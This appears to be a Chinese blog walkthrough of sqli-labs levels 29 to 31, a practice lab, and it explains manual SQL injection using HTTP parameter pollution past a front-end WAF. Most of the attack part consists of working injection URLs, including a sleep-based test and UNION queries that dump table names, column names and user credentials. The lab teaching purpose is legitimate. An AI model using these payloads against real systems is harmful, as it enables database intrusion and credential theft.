（手工）【sqli-labs29-31】参数污染、报错回显、WAF报错跳转、字符型注入

目录

推荐：

一、环境准备

1.1、简介：

1.2、配置：

二、（手工）SQL注入基本步骤：

三、Less29（GET-Error based -IMPIDENCE MISMATCH - Having a WAF in front of web application）

3.1、简介：（参数污染-报错回显-字符型注入-waf）

3.2、第一步：注入点测试

 3.3、第二步：分析过滤

3.4、第三步：判断字段数/回显位

3.5、第四步：暴库

3.6、第五步：爆表名

3.7、第六步：爆字段

3.8、第七步：爆数据

四、Less30（GET-Blind- IMPIDENCE MISMATCH - Having a WAF in front of web application）

4.1、简介：（参数污染-报错回显-字符型注入-waf）

4.2、利用：

五、Less31（GET-Blind- IMPIDENCE MISMATCH - Having a WAF in front of web application）

5.1、简介：（参数污染-报错回显-字符型注入-waf）

5.2、利用：

---

推荐：

【SQL注入-可回显】报错注入：简介、相关函数、利用方法https://blog.csdn.net/qq_53079406/article/details/125017089?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165777639916781647571668%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165777639916781647571668&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-125017089-null-null.185%5Ev2%5Econtrol&utm_term=%E6%8A%A5%E9%94%99&spm=1018.2226.3001.4450

【SQL注入-无回显】时间盲注：原理、函数、利用过程https://blog.csdn.net/qq_53079406/article/details/125096394?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165776808616780366570315%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165776808616780366570315&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-3-125096394-null-null.185%5Ev2%5Econtrol&utm_term=%E7%9B%B2%E6%B3%A8&spm=1018.2226.3001.4450https://blog.csdn.net/qq_53079406/article/details/125096394?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165776808616780366570315%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165776808616780366570315&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-3-125096394-null-null.185%5Ev2%5Econtrol&utm_term=%E7%9B%B2%E6%B3%A8&spm=1018.2226.3001.4450

【SQL注入】数字型注入 & 字符型注入https://blog.csdn.net/qq_53079406/article/details/125741101?spm=1001.2014.3001.5501https://blog.csdn.net/qq_53079406/article/details/125741101?spm=1001.2014.3001.5501https://blog.csdn.net/qq_53079406/article/details/125741101?spm=1001.2014.3001.5501https://blog.csdn.net/qq_53079406/article/details/125741101?spm=1001.2014.3001.5501

【WAF绕过】SQL注入、文件上传、XSShttps://blog.csdn.net/qq_53079406/article/details/124882861?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165759520116782390512182%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165759520116782390512182&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-124882861-null-null.185%5Ev2%5Econtrol&utm_term=SQL%E7%BB%95%E8%BF%87&spm=1018.2226.3001.4450https://blog.csdn.net/qq_53079406/article/details/124882861?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165759520116782390512182%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165759520116782390512182&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-124882861-null-null.185%5Ev2%5Econtrol&utm_term=SQL%E7%BB%95%E8%BF%87&spm=1018.2226.3001.4450https://blog.csdn.net/qq_53079406/article/details/124882861?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165759520116782390512182%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165759520116782390512182&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-124882861-null-null.185%5Ev2%5Econtrol&utm_term=SQL%E7%BB%95%E8%BF%87&spm=1018.2226.3001.4450https://blog.csdn.net/qq_53079406/article/details/124882861?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165759520116782390512182%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165759520116782390512182&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-124882861-null-null.185%5Ev2%5Econtrol&utm_term=SQL%E7%BB%95%E8%BF%87&spm=1018.2226.3001.4450

一、环境准备

1.1、简介：

本身我们就已经安装了phpstudy

现在我们还需要安装jspstudy

达到双服务器效果

---

报错会跳转到另一个页面，在这里即jsp服务器中报错页面

也就是hacked.jsp后缀

其实也可以不搭建2个服务器

自己输入hacked.php也可以看见报错页面

1.2、配置：

第一步：下载

 第二步：安装

路径中不出现中文名

---

第三步：配置

要与之前安装的phpstudy端口不冲突，站点端口修改为不一样的

---

第四步：文件配置

将sqli-labs-master中的tomcat-files压缩包解压到WWW路径下

将URL路径修改为php服务下的相对应关卡路径

 

---

---

二、（手工）SQL注入基本步骤：

第一步：注入点测试

第二步：分析权限

第三步：判断字段数

第四步：爆数据库名

第五步：爆表名

第六步：爆字段名

第七步：爆数据

---

---

三、Less29（GET-Error based -IMPIDENCE MISMATCH - Having a WAF in front of web application）

3.1、简介：（参数污染-报错回显-字符型注入-waf）

请求方法：GET

方法：参数污染+闭合（字符型注入）+报错回显

3.2、第一步：注入点测试

输入?id=1 

 后面加上单引号发现报错了

说明是单引号闭合，即是字符型注入

且可利用报错回显

 加上hacked.php可以看见环境搭建好后的报错页面

不过搭建好后跳转的是hacked.jsp

用2个单引号前后闭合后

显示正常

---

 测试注入语句是否正常

?id=1'%26%26sleep(3)%26%26'1

转了3s

注入语句正常执行

 3.3、第二步：分析过滤

方法一：

考虑一步一步将注入语句字符一个一个替换掉，直到不报错（浪费时间）

或者全部替换（如果报错，不知道哪里被过滤了）

---

方法二：

获取源码进行白盒审计（最优）

---

方法三：

eg：输入?id=and or union select --+ updatexml # extractvalue（重要的都输进去）

看输入回显过滤语句的情况

貌似没啥过滤

3.4、第三步：判断字段数/回显位

?id=1' union select 1,2,3'

回显正常

 ?id=1' union select 1,2,3,4'

报错

 说明字段数为3

---

判断回显位

?id=-1' union select 1,2,3'

3.5、第四步：暴库

?id=1&id=-1' union select 1,2,database() --+

3.6、第五步：爆表名

?id=1&id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

 

3.7、第六步：爆字段

?id=1&id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

3.8、第七步：爆数据

?id=1&id=-1' union select 1,2,group_concat(username,'-',password) from security.users--+

---

---

---

四、Less30（GET-Blind- IMPIDENCE MISMATCH - Having a WAF in front of web application）

4.1、简介：（参数污染-报错回显-字符型注入-waf）

请求方法：GET

方法：参数污染+闭合（字符型注入）+报错回显

4.2、利用：

与Less29相比

就是将单引号闭合，改为了双引号

---

---

---

五、Less31（GET-Blind- IMPIDENCE MISMATCH - Having a WAF in front of web application）

5.1、简介：（参数污染-报错回显-字符型注入-waf）

请求方法：GET

方法：参数污染+闭合（字符型注入）+报错回显

5.2、利用：

与Less30相比

就是将多了一个括号闭合